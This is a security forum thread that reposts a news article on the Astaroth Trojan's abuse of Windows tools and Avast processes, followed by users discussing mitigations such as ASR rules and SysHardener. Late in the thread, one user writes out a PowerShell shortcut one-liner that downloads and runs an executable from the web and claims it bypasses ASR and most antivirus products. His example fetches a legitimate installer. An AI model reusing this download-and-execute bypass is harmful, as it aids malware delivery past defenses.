This Trojan exploits antivirus software to steal your data

[Solarquest]

Content source

https://www.zdnet.com/article/this-new-malware-exploits-bugs-in-antivirus-software-to-steal-your-data/

Astaroth disguises itself as image and GIF files to infect PCs.

A new strain of the Astaroth Trojan has been given the capability to exploit vulnerable processes in antivirus software and services.
Cybereason's Nocturnus Research team said in a blog post published on Wednesday that the variant is able to utilize modules in cybersecurity software in order to steal online credentials and personal data.
In its latest form, Astaroth is being used in spam campaigns across Brazil and Europe, with thousands of infections recorded at the end of 2018. The malware spreads through .7zip file attachments and malicious links.
The cybersecurity researchers said the Trojan masquerades as a JPEG, .GIF, or an extensionless file to avoid detection when executed on a machine.
If a spam email or phishing messages prove successful and the file is downloaded and opened, the legitimate Microsoft Windows BITSAdmin tool is used to download the full payload from a command-and-control (C2) server.

After initializing, the malware launches an XSL script which establishes a channel with the C2 server. The script, which is obfuscated, contains functions to hide itself from antivirus software and is responsible for the process which leverages BITSAdmin to download payloads, including Astaroth, from a separate C2 server.
Past variants of the Trojan would then launch a scan to find antivirus programs, and should Avast, in particular, be present on an infected system, the malware would simply quit. However, Astaroth will now abuse the antivirus program to "inject a malicious module into one of its processes," according to the researchers.

If Avast is detected, the Avast Software Runtime Dynamic Link Library which runs modules for Avast, aswrundll.exe, is abused. The executable -- which is similar to Microsoft's rundll32.exe -- can execute DLLs by calling their exported functions.

....
...

 

[bribon77]

Astaroth is a demon.

 

[Wraith]

Another perfect example of how malware is evolving and becoming sophisticated and why users should be taught about safe surfing habits and be given security knowledge.
Another reason to create a HIPS and Firewall rule in my ESET IS to monitor the execution of bitsadmin.

 

[Andy Ful]

Another perfect example of how malware is evolving and becoming sophisticated and why users should be taught about safe surfing habits and be given security knowledge.
Another reason to create a HIPS and Firewall rule in my ESET IS to monitor the execution of bitsadmin.

You can simply block it.
But it would be even better to block shortcuts (.lnk) in the Download folder or wmic.exe (Windows tool), because the infection chain starts from the shortcut, that runs wmic.exe to download the scriptlet which can execute bitsadmin.exe and some other Windows tools. Those tools can download and inject the final payload.

New Astaroth Trojan Can Bypass Antivirus Software Services

Security researchers from Cybereason have discovered a new instance of the Astaroth trojan that is capable of staying hidden from antivirus programs.

www.technadu.com

 

[notabot]

How does the execution even start though ? Does it work only for email clients that have active content enabled and there’s no behavioral blocking rule for child processes? I’d assume so, unless they also use an exploit to bypass native security mechanisms

 

[Azure]

@Andy Ful

Do you know if syshardener could help by blocking outbound connection from bitsadmin.exe and wmic.exe?

 

[notabot]

You can block both via windows firewall

 

[Azure]

You can block both via windows firewall

I know. Syshardener simply helps makes those rules easier for those not tech savy enough.

What I'm asking is whether that would be enough to mitigate the threat?

 

[notabot]

I know. Syshardener simply helps makes those rules easier for those not tech savy enough.

What I'm asking is whether that would be enough to mitigate the threat?

I wonder if there is a threat in the first place when active content is disabled for the email client or/and ASR rule for outlook is switched on / child processes are blocked via Exploit Guard unless they also apply exploits to bypass the above I’d imagine the answer is no

 

[Andy Ful]

How does the execution even start though ? Does it work only for email clients that have active content enabled and there’s no behavioral blocking rule for child processes? I’d assume so, unless they also use an exploit to bypass native security mechanisms

Child processes of what?
This malware does not run any installed application, but directly execute wmic.exe when the user clicked on the shortcut.

 

[notabot]

Child processes of what?
This malware does not run any installed application, but directly execute wmic.exe when the user clicked on the shortcut.

For the email client - id expect that it doesn’t call wmi in-process

 

[notabot]

For the email client - id expect that it doesn’t call wmi in-process

Ah it assumes a user click — I thought this was supposed to work without a user action

 

[Andy Ful]

@Andy Ful

Do you know if syshardener could help by blocking outbound connection from bitsadmin.exe and wmic.exe?

Yes (wmic.exe is blocked by default).

 

[Andy Ful]

I wonder if there is a threat in the first place when active content is disabled for the email client or/and ASR rule for outlook is switched on / child processes are blocked via Exploit Guard unless they also apply exploits to bypass the above I’d imagine the answer is no

Now you know the truth.
Sadly, the user will bypass all of them by simply clicking the shortcut.
By the way, that is also a bypass for most of SRP setups, except when someone knows how to block safely the shortcuts.

 

[upnorth]

As with many traditional campaigns, this campaign begins with a .7zip file that gets downloaded to the user machine through a mail attachment or a mistakenly-pressed hyperlink. The downloaded .7zip file contains a .lnk file that, once pressed, initializes the malware. Upon initialization, a process spawns that uses the legitimate wmic.exe to initialize an XSL Script Processing attack. This attack allowed the malware to communicate with a remote C2 server and sent information like location information about the infected machine to the remote server. The remote XSL script contains highly obfuscated code that is able to execute additional malicious activity. It uses several functions to hide its activities from antivirus defenses and researchers. This script is ultimately responsible for the malicious use of BITSAdmin to download the attackers payload to the target from a separate C2 server. The payload files are masqueraded as JPEGs, GIFs, and extensionless files, and contain the Astaroth Trojan modules.

Spoiler

Full analysis here.

Astaroth Malware Uses Legitimate OS and Antivirus Processes to Steal Passwords and Personal Data

In this report, we explore a recent campaign involving the Astaroth information stealing trojan, chiefly affecting Brazil through the abuse of native OS processes.

www.cybereason.com

 

[notabot]

Now you know the truth.
Sadly, the user will bypass all of them by simply clicking the shortcut.
By the way, that is also a bypass for most of SRP setups, except when someone knows how to block safely the shortcuts.

Protecting people from themselves is always hard

Though to be fair, anyone could fall for something like this if it’s part of a well crafted spear phishing email

 

[Andy Ful]

I know. Syshardener simply helps makes those rules easier for those not tech savy enough.

What I'm asking is whether that would be enough to mitigate the threat?

NVT SysHardener, NVT OSA, and H_C will block this malware.
The malware can be improved by using PowerShell to bypass the firewall rules, and then it could bypass SysHardener.
Windows Defender ASR can stop this malware (blocked execution of wmic.exe).

 

[notabot]

NVT SysHardener, NVT OSA, and H_C will block this malware.
The malware can be improved by using PowerShell to bypass the firewall rules, and then it could bypass SysHardener.
Windows Defender ASR can stop this malware (blocked execution of wmic.exe).

I wonder if ASR is actually sufficient and there’s no need to block the lolbins (assuming no ASR bypass exploit). It would massively simplify policies & their maintenance, as there’s plenty of lolbins and blocking all of them could also impact the system

 

[Andy Ful]

I wonder if ASR is actually sufficient and there’s no need to block the lolbins (assuming no ASR bypass exploit). It would massively simplify policies & their maintenance, as there’s plenty of lolbins and blocking all of them could also impact the system

It is sufficient for this malware and some more. But WD ASR can be possibly bypassed on Windows Home and Pro by PowerShell, for example:

powershell Import-Module bitstransfer;Start-BitsTransfer 'https://kcsoftwares.com/files/sumo_lite.exe' $home\Downloads\sumo_lite.exe;$filepath = $HOME + '\Downloads\sumo_lite.exe'; Invoke-WmiMethod -class win32_Process -Name Create -ArgumentList $filepath

Create the shortcut with this command and click the shortcut. It should download and execute the known & legal & useful SUMo installer. This should also bypass most AVs (anti-script modules).
The SUMo webpage:

KC Softwares

KC Softwares - Software Development Company

www.kcsoftwares.com

 

[bribon77]

Spoiler

Full analysis here.

Astaroth Malware Uses Legitimate OS and Antivirus Processes to Steal Passwords and Personal Data

In this report, we explore a recent campaign involving the Astaroth information stealing trojan, chiefly affecting Brazil through the abuse of native OS processes.

www.cybereason.com

I think the most effective thing would be a sandbox..... Astaroth can't help it.
or if it can?